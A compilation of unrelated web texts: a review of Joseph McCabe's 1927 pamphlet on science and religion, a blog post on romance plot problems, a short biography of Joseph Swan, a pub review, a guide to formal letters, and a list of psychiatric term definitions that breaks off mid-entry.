Another fallacy, says McCabe, is to dismiss past conflicts because our ancestors simply did not know true “religion.” “Progressive religion,” McCabe declares, “is the veriest piece of bunk that Modernism ever invented” (12). By “modernism” McCabe means those liberal theologians who reinterpreted traditional religious beliefs. But to reject central doctrines of Christianity, such as the fall of man, is to maintain that the very “foundation of Christianity is an error.” To reject such doctrines, according to McCabe, is to reject the whole of Christianity.
Even the most “extreme modernist” position, one that believes in a religion that changes and grows, is wrong. In the end, McCabe claims that the nineteenth-century conflict “left a corrosive acid in what remains of religion.”
But what about today? In 1927, when this little pamphelt was published, does the conflict persist? According to McCabe, absolutely. He thinks its a terrible mistake that some American scientists have made a futile and inglorious attempt at reconciling “the dervishes by protesting that science is not inconsistent with religion” (15). He attacks E. Ray Lankester, Henry F. Osborne, Mihajlo I. Pupin, Robert A. Millikan, William B. Riley, Gary N. Calkins, and others for taking up this conciliatory approach. These attempts, according to McCabe, demonstrates a lack of understanding the true nature of religion. Science, according to McCabe, is unified. But religion has never been unified. Thus, if one seeks the reconciliation of science and religion, “we shall have to take three hundred different collections of religious beliefs and apply science to them” (19). But if we take a few leading types of religion and a few common doctrines, it will suffice to demonstrate that science is blatantly in conflict with them.
In this Little Blue Book, McCabe wants to concentrate on fundamentalist and modernist religious beliefs. Indeed, even the “ultra-Modernist” position is in conflict with the teachings of science.
McCabe dispenses with fundamentalists rather quickly, showing that they have all rejected evolution, that Genesis is irreconcilable with science, and that the “science” of comparative religion has shown that Christianity is a pagan accumulation of beliefs. The fundamentalist, like the Roman Catholic, according to McCabe, is “in flat and flagrant conflict with science.”
But like the fundamentalists, McCabe says, he has nothing but contempt for Christians who offer “new interpretations on the old doctrines” (23). He then offers a mock reinterpretation of the Apostles’ Creed based on the modernist position:
I believe in God—a God who is one with Nature,
The Father Almighty—but not all-powerful,
Creator of Heaven and Earth—which were not created, but are eternal.
And in Jesus Christ, His only son, our Lord—who is, however, a son of God only in the same sense as we, but more so,
Who was conceived by the Holy Ghost—as an artist conceives his work, not miraculously,
Born of the Virgin Mary—who was not a virgin
Suffered under Pontius Pilate, was crucified, dead, and buried—not to atone for the sins of the world.
He descended into hell—which does not exist;
The third day he rose again from the dead—or his soul made a new body out of ether.
He ascended into heaven—or made a final phantasmal appearance,
Sittteth on the right hand [which doesn’t exist] of God the Father Almighty [who is not Almighty]—though there is no heaven to sit in.
From thence he shall come to judge the living and the dead—that is to say, he will persuade them to judge themselves.
I believe in the Holy Ghost—which is a figure of speech,
The Holy Catholic Church—certainly not the Roman, and the Anglo-Catholic only as long as it imposes no belief on me,
The communion of saints—by telepathy,
The forgiveness of sins—each man forgiving himself,
The resurrection of the body—which certainly won’t rise again,
And life everlasting—which may not last forever: we don’t know.
The modernist, according to McCabe, “are Christians who believe that Paul and the Christian Church have been wrong in nearly everything until science began to enlighten the world” (24).
In the following chapters, McCabe discusses the “twilight of the gods,” “science and the soul,” “the conflict about morals,” and concludes with a history of “religion as a phenomenon.” Throughout these chapters McCabe’s target is not the fundamentalism, but the modernism, the liberal Christian reinterpretation of Christianity. “The land which lies between straight Fundamentalism and straight Modernism,” he writes, “is the Land of Bunk.”
History has proven, according to McCabe, “fatal to the essential message of the Bible and the Christian religion.” Civilization slowly emerged from savages. The conflict between Christianity and evolution has never been the real issue. “The fundamental and essential Christian doctrine is not based upon the creation, but up the fall of man, upon a certain version of man’s early history” (27). The whole Christian message, says McCabe, hinges on man in Eden. But historical and comparative religious studies have shown that the fall was based on Babylonian legends; moreover, such views of primeval man are also completely discredited by what science tells us. A divine redeemer is thus “superfluous.”
But the modernist protests, says McCabe, that these “skirmishes” between science and religion are “between men who know very little about science and men who know very little about religion.” McCabe of course thinks this is nonsense. McCabe takes this quote from Nobel prize winning physicist Millikan, who believed in some “Power unknown to us,” perhaps taken from the agnostic doctrine of the Unknown by Hebert Spencer. But according to McCabe, theologians have taken this route for decades: “saying that science cannot (today) explain something, so God must (until tomorrow)” (33). McCabe strongly condemns those “providential evolutionists,” those “light-headed chanticleers of the pulpit who crowed that evolution was ‘a more splendid revelation than ever of God’s power'” (36-37).
In discussing the immortality of the soul, McCabe claims that we “see at once the utter insincerity and frivolity of the claim that there is no conflict between science and religion” (39). Again, his attack is directed less at fundamentalists and more at modernists, who maintain a “tincture of religious belief.” While they have abandoned Genesis and Paul’s epistles, they mistakenly speak of “religion and science as independent truths, if not separate and equal revelations of the glory of God” (40). Central to religious belief, according McCabe, is the assumption that mind is not a function of the body, and that the human mind, being spiritual and immortal, is essentially distinct in its nature from the mind of animals. But cerebral physiology, psychology, and evolution are explicitly hostile to this fundamental religious belief (49). Those who claim there is no conflict here, according to McCabe, “must be totally ignorant.”
Turning to the conflict about morals, McCabe writes that “the semi-Fundamentalists or semi-Modernists,” are those educated Christians who, while accepting evolution, still “cling” to some reinterpretation of the fall of man and the atonement, and thus continue to oppose the teaching of science (50).
The Christian rationalist, the Unitarian or such, only make up a fraction of the whole of Christendom. But even these, according to McCabe, are still in conflict with science. Those Christian rationalists who have succumbed to scientific ways of thought have divested God of all personality, reducing traditional conceptions to abstractions of Power, Something, World-Energy, Cosmic Force, Soul of the Universe, Vital Principle, Urge, Creative Principle, Absolute, and so on.
But according to McCabe, once we understand the nature of the universe, what point is there going beyond it? Clearly, then, many continue to feel some “mystery of existence,” and thus are compelled to go beyond it. But this is wish fulfilment, says McCabe. The “highbrow religionists,” Emerson, Carlyle, Arnold, and others, defined religion as “morality touched with emotion” (52). This deracinated humanitarianism is bunk, according to McCabe. In its place he simply asks “Why?” Why must we be strictly honorable, temperate, modest, and chaste? “Half the civilized world,” McCabe writes, “is asking these questions, and it is waste of time to reply in the language of either metaphysics or esthetics” (54).
It is the business of science, according to McCabe, to “explain the meaning of the ethical ideals you want to recommend.” Evolution in particular has explained the origins and development of these ethical ideals.
In concluding his Little Blue Book, McCabe wants to be “quite reasonable with everybody about everything” (57). The modernist attempt to redefine religion so it could never come into conflict with science reminds McCabe of one final way religion most certainly comes into conflict with science. He relates the controversy that erupted after John Tydnall’s 1874 Belfast Address. But like the modernists, Tyndall saved a place for religion, to the “region of poetry and emotion.” But according to McCabe, religion has always been inextricably connected to cosmological theory. Once science entered that domain, religion had no choice but to shirk and relocate itself.
In discussing the phenomenon of religion, McCabe believes that science has demonstrated the evolution of religion, giving us “a scheme of natural development into which all the religions of the world are fitted” (58). Although this “science of religion” was originally founded by “liberal Christians,” McCabe explains, its tendency “seems on every side to provoke a disbelief in religion in any but the most liberal and creedless sense of the word!”
No comparative religious scholar can remain a Christian, McCabe argues. He simple “knows too much.” The evolutionary study of religion, he says, “is fatal to every claim to every claim made on behalf of Christianity: not merely to its claim of inspiration and revelation, but to every claim that there is something unique about its ethic or its doctrines” (59, 61). It is for this reason that McCabe closes his Little Blue Book with the claim that “science is only one of the dissolving agencies” of religion. Philosophy and history are just as fatal, if not more so. Our “higher standards of conduct and emotion” too reject doctrines of “eternal torment and vicarious atonement.” Indeed, every aspect of the “higher life of our our age is hostile to religion.
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I just wanted to send you this email as a follow-up to our phone conversation about how my resume submissions have dramatically increased since I started using Jobdango. At the first of the year (2006) I did an experiment and over a 30 day period - I subscribed to "Featured Employer" and made each of my listed positions a "Featured Job." What I realized as I looked at the number of resume submissions over that period was that using Jobdango this way increased my local high quality candidate flow by about 50%. The people didn't always apply through the Jobdango website because the radio ads also drove people to our company website and so I saw an increase in applications through several avenues. Thank you for convincing me to try your product! - Radisys
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Romance Problems
I prefer characters to have what I call an internal identity arc. That is, I like a character's problem to be located in his or her personal integrity or self-knowledge rather than in how others treat that character. Below are common romance problems with examples of internal identity struggles; these struggles create a more interesting story overall.
Czech translation: I love the play on
Loretta Chase's name.
Common romance problem: The person I loved years ago has changed; is our relationship still possible?
This problem is interesting. It is more interesting if the characters take responsibility for their changes. Sometimes, the characters regret their own mutability. Sometimes, they feel a sense of inevitability. Whatever the case, the characters are always more interesting if they desire to go forward rather than wallow in the past--we can't reclaim the past; maybe, we can remake the future.
A variation on this problem is when a character realizes that the type he or she always fell for in the past is not, in fact, the best type for that character to grow old with. Emma tackles this variation as does Little Women.
Another variation is for a character to realize that his or her memory of the past no longer applies. In Loretta Chase's Last Night's Scandal, Peregrine is reluctant to become reacquainted with his high-spirited childhood friend, Olivia, because he remembers all the trouble she got him into when they were younger. He wants a "steady" partner. He learns that, well, yes, she will still get him into trouble, but she'll also get him out of it. She isn't "flighty" or even particularly high-maintenance in the way that he remembered. She is reliable and efficient and won't let him down.
Common romance problem: I don't think this relationship will last.
Maybe it will. Maybe it won't. By itself, the yes/no possibility is less like Schrodinger's cat and more like a T/F question. Once it is over, it is over. Besides, if one is watching particularly irritating television, it's more or less a given that the relationship won't last (see Ross & Rachel).
Jane Eyre at a crossroads.
What makes this problem more interesting is if the characters tackle it from within their personal philosophies/self-concepts: Why would I want this relationship to last? An even more interesting variation occurs when the character ponders, How much of my self will remain if the relationship does last?
Jane Eyre is sometimes seen as dated because Jane runs away from Rochester rather than agreeing to live in sin with him. I have never understood this objection. I think the text makes clear than even before the crazy-wife-in-the-attic comes to light, Jane is worried that she is being overwhelmed by Rochester's personality. It isn't that he is domineering, per se. It is rather that his energetic, extroverted-to-the-max personality is overloading her circuits. She runs because she can't make a decision with Rochester hovering over her saying, "Pleeeeease stay. Please? Pretty please!!!!" She returns when she realizes that she has enough self-gumption not to disappear into the shadow of her partner's personality (and well, yes, also after events have toned him down just a bit).
Common problem: "My partner cannot be trusted based on past behavior."
This problem has almost no self-life. Either the partner can be trusted or not. End of story. (And solving the problem based on luuuvv makes the characters look stupid. If their sense of personal worth is so damaged that they won't take previous bad behaviors as a warning, they aren't worth investing in as characters.)
Common problem: "How do I prevent an external bad thing from happening to me and my partner?"
Clark/Superman is dismayed when he realizes that
even Lois has given in to the Superman hype.
This problem is necessary to most narrative arcs. But without an accompanying internal arc, it gets rather dry. I've never been particularly partial to narratives where more and more and more bad stuff keeps happening--hence, my distaste for television serials that force me to keep watching every week.
Example: Superman stories often stumble because they rest almost exclusively on external hurdles. In Lois & Clark, however, Clark struggles with internal conflicts regarding his personal identity. In a Season 2 episode, he worries that if "Clark" dies, leaving only Superman, he--Clark--will no longer have the same relationship with his co-workers. This legitimate worry dovetails with Clark's ongoing uncertainty of what constitutes his "real" self. The death of his human self isn't simply an external problem; it has an internal component that is tied to the character's personal philosophy: Who am I?
Summing up: internal issues such as confusion or disillusionment or doubt help any arc. But states of mind are often not enough to keep an arc going. Writers do much better if the state of mind goes back to a fundamental need or want--the character's place in the world (identity), not merely the character's temporary feelings.
Joe said...
The problem with Rochester is that he desperately wants to be loved. So do I. The difference is that introverts like me just wallow in our self-pity while super-extroverts, like Rochester, annoy everyone, especially the introverts.
On the other hand, nobody sits around wondering what Rochester really wants. Yet, somehow the women in his life don't see it, which mystified me about the book. (BTW, it is this aspect of Rochester's personality that Orson Welles absolutely nails.)
Joe said...
And though all the movies make a hash of him, St. John is really just Rochester though wanting loyalty instead of love. Unlike Rochester, St. John would give back every much as he sought, but, to me at least, Jane preferred what little love Rochester could give back rather than no love, but an infinite amount of loyalty.
That's my take anyway.
Katherine Woodbury said...
I think Rochester's women don't see the obvious about Rochester because they perceive him first and foremost as an alpha, self-confident guy. And I don't think they are the only ones! So many writers/directors leave out the fortune-telling scene because they perceive Rochester as manipulating Jane while instead, rather, he is trying to wheedle some kind of confession from her (Timothy Dalton doesn't match Rochester's persona but he does capture this scene fairly well).
Because Rochester is so much older and more outgoing, his behavior--such as forcing Jane to come downstairs while his guests are there--is perceived as domineering and mean. How can this confident, worldly man not realize that he is hurting/pressuring this sweet, quiet young woman?
At one point, for instance, he says to Jane, "Why didn't you come and speak to me in the parlor?" Every woman who reads that passage thinks, "Are you some kind of idiot? She would never have the hutzpah, indifference that comes with age, or social prestige to go up to you in front of your rich, uppity friends and start a conversation!"
But Rochester isn't trying to "punish" Jane. He honestly considers her more self-assured than he (her reserve adds to his perception). It's a little daft, but totally in keeping with Rochester's idealistic personality. He always puts the women he loves on pedestals.
In fact, if one stops seeing Rochester as confident and more importantly, realizes that HE doesn't see himself as confident, then all his behavior falls into place.
(And he is right about Jane being tougher--he just needed to give her a few more years and space to mull.)
I agree about St. John, with an emphasis on the "affection" part of "love." Jane wants love in the form of a big, loud, physically affectionate guy. She knows for a fact that St. John can't offer her warmth and affection (however "scrupulous" he is in the "forms of love") and can't bear the idea--this is why she offers to go with him to India as his "sister/cousin," not his wife. She can admire the "frowning giant of a rock" (her description of St. John during his proposal) from afar--she doesn't want to sleep with it. (For Jane, enduring "every endearment St. John bestows [as] a sacrifice made on principle," i.e. being "tolerated" would be utterly humiliating and soul-destroying.)
I think it is probably this aspect of the book that made it somewhat scandalous at the time. Well, that, and the fact that Jane clearly thinks being a missionary is noble but not so much fun. Jane ends the book by praising St. John but she does so after going out of her way to mention that she has a kid and lots of happy friends (my personal feeling is that in her ending, Bronte, knowing her Victorian audience, was trying to temper her celebration of the physical, mundane [old meaning] experience--eh, she only sort of succeeded).
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Courtesy of the National Portrait Gallery, London
(1828–1914). The English physicist and chemist Joseph Swan produced an early electric light bulb and invented the dry photographic plate. These inventions resulted in a significant improvement in photography and a step toward the development of modern photographic film.
Some years earlier, in 1860, Swan developed a primitive electric light that utilized a filament of carbonized paper in an evacuated glass bulb. The lack of a good vacuum and an adequate electric source, however, resulted in a short lifetime for the bulb and inefficient light. His design was substantially the one used by Thomas Alva Edison nearly 20 years later. In 1880, after the improvement of vacuum techniques, both Swan and Edison produced a practical light bulb. Three years later, while searching for a better carbon filament for his light bulb, Swan patented a process for squeezing nitrocellulose through holes to form fibers. The textile industry has used his process. Swan was knighted in 1904. He died on May 27, 1914, in Warlingham, Surrey.
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7th grade science fair research paper examples
How to prepare the final report for your science fair project. Includes required elements and sample report. ... Question, variables, and hypothesis. Background research. This is the Research paper you wrote before you started your experiment.
Mar 1, 1999 -
'The Research Paper ... What are the parts of a research paper? ... www.sciencebuddies.org/science-fair-projects/project_final_report.shtml#sample.
7th Grade. Format for the Science Fair. Research Paper. This is a report in which you summarize everything ... Below is an example of how to list your sources:.
7th Grade Research Paper Outline: SCIENCE FAIR. I. Introduction —. A. State your question/problem statement “What is the relationship between X & Y?
7th Grade Science Fair Project ... Given before the 7th grade class, describing the project and results (3-5 minutes) ... This is the research paper portion of your project. ... This example shows the minimum expected from you in your outline.
When browsing our collection of 7th grade science fair project ideas, don't expect to find any paper-mâché volcanoes! Education.com has put together a solid
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Ułan – an elite French cavalry wing
Polish Uhlan Test - 4One of the more famous units of Napoleonic Wars were the Polish Uhlans. They won fame and favors of Napoleon during the Peninsular campaign. They do form an important gap in the French light cavalry contingent that has provided most abysmal performance, only outranked by Roman Equites. Baccus 6mm Uhlans are not of the range, which is a pity because these models are the ones that really would benefit the level of detail that new French range has.
Polish Uhlan Test - 1Origin of uhlans go way back to turkish tatar language and to both sides of Volga steppes in mid 17th century. During the union of Poland and Lithuania Ułan was a surname, and as many noble families, served regularly as light cavalry. Individual called Alexander Ułan served as Colonel in the commonwealth army during the reign of August II Mocny and Augustus III, and once he was killed in battle , his unit was named after him (essentially the regiment was referred to as Ułan’s children).
Polish Uhlan Test - 2When Golden Horde Tatars settled in the lands of Polish-Lithuaninan Commonwealth, their practices, tactics, strategies and naming conventions were incorporated to the Polish cavalry arm transforming it to effective light cavalry fighting force. Polish light cavalry arm were essentially divided in two, Hussars became famous heavy winged hussars and Ułan became the lance armed light cavalry. Understanding the versatile nature of light cavalry, Poland pawed a way for the rest of Europe.
At the start of the Napoleonic Wars, the Polish Uhlans were raised by Duchy of Warszawa and French army included Vistula Legion and the Chevaux-légers lancers de la Garde Impériale. Both of the cavalry formations gained fame and changed how the light cavalry should operate in and out of the battlefield. Many nations emulated the development in coming years and all major powers such as Germans, Austrians and Russians all raised regiments in this fashion.
Polish Uhlan Test - 3Light cavalry, formed after Uhlans had undisputed mastery of the battlefield until Polish Russian war and Battle of Komarów against Russian Konarmia in 1920, which effectively ended the long lasting supremacy of massed cavalry in the field of battle. Their use continued until and through Second World War, but no longer as offensive hammer.
Uhlans are still raised today, but the role is nothing of their ancestors.
So, I hope, once I have several regiments ready, they will perform admirably in the battlefield. First test piece is painted, and some thinking is still needed to add clarity of details but I am inclined to think that the direction is right. Of course I need to defend the difficulty of painting by the fact that these units are actually Austrian Uhlans, but in this scale only Adler would provide outstanding raw figures that represent the real thing and those happen to be the ones that I do not have at the moment.
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How to Write a Formal Letter in English
By Max. D Gray. Updated: March 21, 2017
How to Write a Formal Letter in English
With the development of new technologies, our language is suffering numerous attacks, specially when it comes to formal use of language. We have to distinguish what moments to use more formal and serious language than the kind we generally use to communicate with others. Generally, for job reasons such as writing a job application letter, and sometimes personal reasons, we're obliged to do so. However, as this kind of language is not something we often use, it can be hard to use it. For this reason, at oneHOWTO we explain how to write a formal letter in English. There's also an example of a formal letter if you click on it.
You may also be interested in: How To Write The Address On A Letter Or Envelope
Steps to follow:
Writing well is something we should always do, independently on the kind of message we want to send. If our letter must be formal, we have to take an even closer look to our spelling, grammar and syntax.
We must begin with a correct heading in which the name and details of the receiver are indicated, as well as the position the person occupies if you're addressing a company or government department. It is also advisable to make a small reference to the subject you'd like to write about in the letter. If you click on the picture above, you'll find an example of a formal letter.
How to Write a Formal Letter in English - Step 2
The initial greeting has to be exclusive for the person to whom we're writing, as well as correct and formal. This will be followed by colon and the body of the text will start to develop on the next line.
Dear Mr. X,
I am writing to you regarding ...
In the first paragraph of the letter you'll need to indicate the reason for it, or why you're writing. It will be necessary to give arguments to justify our opinion.
For example:
I believe that doing ..... is a mistake due to ....., as a study on this subject reflects....
The second paragraph, written apart from the first, must indicate what solutions we need or hope to have to confront our problem or worry that has motivated us to write the letter. You should write in clear and precise language for this kind of circumstances.
This is why I would like to suggest ...
In my opinion the best option to solve this problem is to ...
Last, we need to write a formal farewell, saying thank you for the person's attention and for the time dedicated. This farewell will be followed by our signature and our position, so they can identify us.
For example:
Mr Y
How to Write a Formal Letter in English - Step 6
Now that you've written the letter, make sure that you write the address on the envelope correctly so you can send it.
If you want to read similar articles to How to Write a Formal Letter in English, we recommend you visit our Hobbies & Science category.
• Make sure you use correct and adequate language for the situation.
• Be careful not to make spelling mistakes.
• Carefully revise the letter before sending it to make sure it's correct and impeccable.
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D’banj on Sunday walked the runway at the AFI fashion week in Johannesburg, South Africa.
The entertainer flashed his signature pose as he strutted the runway in a suit by South African designer David Tlale.
In an Instagram post, the singer described himself as the “newest runway model in town”.
D’banj becomes the latest Nigerian celebrity to embrace celebrity modelling, with Wizkid recently walking the runway for Dolce & Gabbana in Milan, Italy.
Follow us on twitter @Thecablestyle
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Wine Lodge, EC3M 6BL
Pub on Fenchurch Street. It used to be a Young's pub, but that incarnation closed in early 2007. It reopened at the end of 2007 as an independent.
The ground floor part is a sort of bar-style pub; the only seating available is bar stools (padded and reasonably comfortable ones though). There's a reasonable amount of standing room too, though the place as a whole is not large. Decor is burgundy and bare wood. Not much natural light, though there is a skylight. Two flatscreens at either end of the room. There's a restaurant downstairs (see photo of the restaurant menu as of June 2008).
Kake visited on a Monday afternoon in June 2008, just after lunchtime. The flatscreens were showing soundless sport. Background music (generic pop/rock) was loud enough to mask the conversation of the group next to me. Harveys Sussex Best was £1.55/half; other beers were Spitfire, Young's (I think Ordinary), and something else I forget. A bar menu was advertised on a blackboard, including chips (£2.50), chorizo (£4.50), Welsh rarebit (£4), and pitta with hummous (£3.50). Another blackboard advertised Pimms at £10 for a pitcher and £3 for a glass.
See also:
Last visited by Kake, 23 June 2008.
OS X co-ord: 533157 OS Y co-ord: 180948 (Latitude: 51.511774 Longitude: -0.082537)
Last edited 2009-09-10 23:27:34 (version 10; diff). List all versions.
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Psychotic Disorders: Disorders in which there is a loss of ego boundaries or a gross impairment in reality testing with delusions or prominent hallucinations. (From DSM-IV, 1994)Schizophrenia: A severe emotional disorder of psychotic depth characteristically marked by a retreat from reality with delusion formation, HALLUCINATIONS, emotional disharmony, and regressive behavior.Delusions: A false belief regarding the self or persons or objects outside the self that persists despite the facts, and is not considered tenable by one's associates.Psychoses, Substance-Induced: Psychotic organic mental disorders resulting from the toxic effect of drugs and chemicals or other harmful substance.Affective Disorders, Psychotic: Disorders in which the essential feature is a severe disturbance in mood (depression, anxiety, elation, and excitement) accompanied by psychotic symptoms such as delusions, hallucinations, gross impairment in reality testing, etc.Hallucinations: Subjectively experienced sensations in the absence of an appropriate stimulus, but which are regarded by the individual as real. They may be of organic origin or associated with MENTAL DISORDERS.Bipolar Disorder: A major affective disorder marked by severe mood swings (manic or major depressive episodes) and a tendency to remission and recurrence.Schizophrenic Psychology: Study of mental processes and behavior of schizophrenics.Antipsychotic Agents: Agents that control agitated psychotic behavior, alleviate acute psychotic states, reduce psychotic symptoms, and exert a quieting effect. They are used in SCHIZOPHRENIA; senile dementia; transient psychosis following surgery; or MYOCARDIAL INFARCTION; etc. These drugs are often referred to as neuroleptics alluding to the tendency to produce neurological side effects, but not all antipsychotics are likely to produce such effects. Many of these drugs may also be effective against nausea, emesis, and pruritus.Psychiatric Status Rating Scales: Standardized procedures utilizing rating scales or interview schedules carried out by health personnel for evaluating the degree of mental illness.Mental Disorders: Psychiatric illness or diseases manifested by breakdowns in the adaptational process expressed primarily as abnormalities of thought, feeling, and behavior producing either distress or impairment of function.Schizotypal Personality Disorder: A personality disorder in which there are oddities of thought (magical thinking, paranoid ideation, suspiciousness), perception (illusions, depersonalization), speech (digressive, vague, overelaborate), and behavior (inappropriate affect in social interactions, frequently social isolation) that are not severe enough to characterize schizophrenia.Prodromal Symptoms: Clinical or physiological indicators that precede the onset of disease.Diagnostic and Statistical Manual of Mental Disorders: Categorical classification of MENTAL DISORDERS based on criteria sets with defining features. It is produced by the American Psychiatric Association. (DSM-IV, page xxii)Shared Paranoid Disorder: A condition in which closely related persons, usually in the same family, share the same delusions.Mood Disorders: Those disorders that have a disturbance in mood as their predominant feature.Paranoid Disorders: Chronic mental disorders in which there has been an insidious development of a permanent and unshakeable delusional system (persecutory delusions or delusions of jealousy), accompanied by preservation of clear and orderly thinking. Emotional responses and behavior are consistent with the delusional state.Schizophrenia, Paranoid: A chronic form of schizophrenia characterized primarily by the presence of persecutory or grandiose delusions, often associated with hallucination.Psychoses, Alcoholic: A group of mental disorders associated with organic brain damage and caused by poisoning from alcohol.QatarPsychoanalytic Interpretation: Utilization of Freudian theories to explain various psychologic aspects of art, literature, biographical material, etc.Cannabis: The plant genus in the Cannabaceae plant family, Urticales order, Hamamelidae subclass. The flowering tops are called many slang terms including pot, marijuana, hashish, bhang, and ganja. The stem is an important source of hemp fiber.Palau: A republic consisting of a group of about 100 islands and islets in the western Pacific Ocean. Its capital is Koror. Under Spain it was administered as a part of the Caroline Islands but was sold to Germany in 1899. Seized by Japan in 1914, it was taken by the Allies in World War II in 1944. In 1947 it became part of the U.S. Trust Territory of the Pacific Islands, became internally self-governing in 1980, obtained independent control over its foreign policy (except defense) in 1986, and achieved total independence October 1, 1994. (Webster's New Geographical Dictionary, 1988, p915; telephone communication with Randy Flynn, Board on Geographic Names, 17 January 1995)Anxiety Disorders: Persistent and disabling ANXIETY.Hospitals, Psychiatric: Special hospitals which provide care to the mentally ill patient.Interview, Psychological: A directed conversation aimed at eliciting information for psychiatric diagnosis, evaluation, treatment planning, etc. The interview may be conducted by a social worker or psychologist.Risperidone: A selective blocker of DOPAMINE D2 RECEPTORS and SEROTONIN 5-HT2 RECEPTORS that acts as an atypical antipsychotic agent. It has been shown to improve both positive and negative symptoms in the treatment of SCHIZOPHRENIA.Depressive Disorder, Major: Marked depression appearing in the involution period and characterized by hallucinations, delusions, paranoia, and agitation.Cognition Disorders: Disturbances in mental processes related to learning, thinking, reasoning, and judgment.Diagnosis, Dual (Psychiatry): The co-existence of a substance abuse disorder with a psychiatric disorder. The diagnostic principle is based on the fact that it has been found often that chemically dependent patients also have psychiatric problems of various degrees of severity.Commitment of Mentally Ill: Legal process required for the institutionalization of a patient with severe mental problems.Substance-Related Disorders: Disorders related to substance abuse.Marijuana Abuse: The excessive use of marijuana with associated psychological symptoms and impairment in social or occupational functioning.Psychiatric Department, Hospital: Hospital department responsible for the organization and administration of psychiatric services.Netherlands Antilles: Former Netherlands overseas territory in the Lesser Antilles in the West Indies. It had included the islands of Aruba, Bonaire, Curacao, Saba, St. Eustatius, and the southern part of St. Martin. The Netherlands Antilles dissolved on October 10, 2010. Aruba, Curacao and Sint Maarten became autonomous territories of the Kingdom of the Netherlands. Bonaire, Saba, and Sint Eustatius are under the direct administration of the Netherlands. (From US Department of State, Background Note)Comorbidity: The presence of co-existing or additional diseases with reference to an initial diagnosis or with reference to the index condition that is the subject of study. Comorbidity may affect the ability of affected individuals to function and also their survival; it may be used as a prognostic indicator for length of hospital stay, cost factors, and outcome or survival.Early Medical Intervention: Action taken to reduce susceptibility or exposure to health problems and to detect and treat disease in early stages.Emergency Services, Psychiatric: Organized services to provide immediate psychiatric care to patients with acute psychological disturbances.2',3'-Cyclic Nucleotide 3'-Phosphodiesterase: A phosphodiesterase that specifically cleaves the 3'-phosphate linkage of 2',3'-cyclic nucleotides. It is found at high level in the cytoplasm of cells that form the MYELIN SHEATH.Brief Psychiatric Rating Scale: A scale comprising 18 symptom constructs chosen to represent relatively independent dimensions of manifest psychopathology. The initial intended use was to provide more efficient assessment of treatment response in clinical psychopharmacology research; however, the scale was readily adapted to other uses. (From Hersen, M. and Bellack, A.S., Dictionary of Behavioral Assessment Techniques, p. 87)Risk Factors: An aspect of personal behavior or lifestyle, environmental exposure, or inborn or inherited characteristic, which, on the basis of epidemiologic evidence, is known to be associated with a health-related condition considered important to prevent.Depressive Disorder: An affective disorder manifested by either a dysphoric mood or loss of interest or pleasure in usual activities. The mood disturbance is prominent and relatively persistent.Age of Onset: The age, developmental stage, or period of life at which a disease or the initial symptoms or manifestations of a disease appear in an individual.International Classification of Diseases: A system of categories to which morbid entries are assigned according to established criteria. Included is the entire range of conditions in a manageable number of categories, grouped to facilitate mortality reporting. It is produced by the World Health Organization (From ICD-10, p1). The Clinical Modifications, produced by the UNITED STATES DEPT. OF HEALTH AND HUMAN SERVICES, are larger extensions used for morbidity and general epidemiological purposes, primarily in the U.S.Severity of Illness Index: Levels within a diagnostic group which are established by various measurement criteria applied to the seriousness of a patient's disorder.Haloperidol: A phenyl-piperidinyl-butyrophenone that is used primarily to treat SCHIZOPHRENIA and other PSYCHOSES. It is also used in schizoaffective disorder, DELUSIONAL DISORDERS, ballism, and TOURETTE SYNDROME (a drug of choice) and occasionally as adjunctive therapy in INTELLECTUAL DISABILITY and the chorea of HUNTINGTON DISEASE. It is a potent antiemetic and is used in the treatment of intractable HICCUPS. (From AMA Drug Evaluations Annual, 1994, p279)Neuropsychological Tests: Tests designed to assess neurological function associated with certain behaviors. They are used in diagnosing brain dysfunction or damage and central nervous system disorders or injury.Clozapine: A tricylic dibenzodiazepine, classified as an atypical antipsychotic agent. It binds several types of central nervous system receptors, and displays a unique pharmacological profile. Clozapine is a serotonin antagonist, with strong binding to 5-HT 2A/2C receptor subtype. It also displays strong affinity to several dopaminergic receptors, but shows only weak antagonism at the dopamine D2 receptor, a receptor commonly thought to modulate neuroleptic activity. Agranulocytosis is a major adverse effect associated with administration of this agent.Cognitive Therapy: A direct form of psychotherapy based on the interpretation of situations (cognitive structure of experiences) that determine how an individual feels and behaves. It is based on the premise that cognition, the process of acquiring knowledge and forming beliefs, is a primary determinant of mood and behavior. The therapy uses behavioral and verbal techniques to identify and correct negative thinking that is at the root of the aberrant behavior.Hospitalization: The confinement of a patient in a hospital.Brain: The part of CENTRAL NERVOUS SYSTEM that is contained within the skull (CRANIUM). Arising from the NEURAL TUBE, the embryonic brain is comprised of three major parts including PROSENCEPHALON (the forebrain); MESENCEPHALON (the midbrain); and RHOMBENCEPHALON (the hindbrain). The developed brain consists of CEREBRUM; CEREBELLUM; and other structures in the BRAIN STEM.Longitudinal Studies: Studies in which variables relating to an individual or group of individuals are assessed over a period of time.Case-Control Studies: Studies which start with the identification of persons with a disease of interest and a control (comparison, referent) group without the disease. The relationship of an attribute to the disease is examined by comparing diseased and non-diseased persons with regard to the frequency or levels of the attribute in each group.Community Mental Health Services: Diagnostic, therapeutic and preventive mental health services provided for individuals in the community.Psychometrics: Assessment of psychological variables by the application of mathematical procedures.Follow-Up Studies: Studies in which individuals or populations are followed to assess the outcome of exposures, procedures, or effects of a characteristic, e.g., occurrence of disease.MarylandUnited States Agency for Healthcare Research and Quality: An agency of the PUBLIC HEALTH SERVICE established in 1990 to "provide indexing, abstracting, translating, publishing, and other services leading to a more effective and timely dissemination of information on research, demonstration projects, and evaluations with respect to health care to public and private entities and individuals engaged in the improvement of health care delivery..." It supersedes the National Center for Health Services Research. The United States Agency for Health Care Policy and Research was renamed Agency for Healthcare Research and Quality (AHRQ) under the Healthcare Research and Quality Act of 1999.Mental Health Services: Organized services to provide mental health care.Child of Impaired Parents: Child with one or more parents afflicted by a physical or mental disorder.Siblings: Persons or animals having at least one parent in common. (American College Dictionary, 3d ed)Early Diagnosis: Methods to determine in patients the nature of a disease or disorder at its early stage of progression. Generally, early diagnosis improves PROGNOSIS and TREATMENT OUTCOME.Social Adjustment: Adaptation of the person to the social environment. Adjustment may take place by adapting the self to the environment or by changing the environment. (From Campbell, Psychiatric Dictionary, 1996)Sex Factors: Maleness or femaleness as a constituent element or influence contributing to the production of a result. It may be applicable to the cause or effect of a circumstance. It is used with human or animal concepts but should be differentiated from SEX CHARACTERISTICS, anatomical or physiological manifestations of sex, and from SEX DISTRIBUTION, the number of males and females in given circumstances.Genetic Predisposition to Disease: A latent susceptibility to disease at the genetic level, which may be activated under certain conditions.Affective Symptoms: Mood or emotional responses dissonant with or inappropriate to the behavior 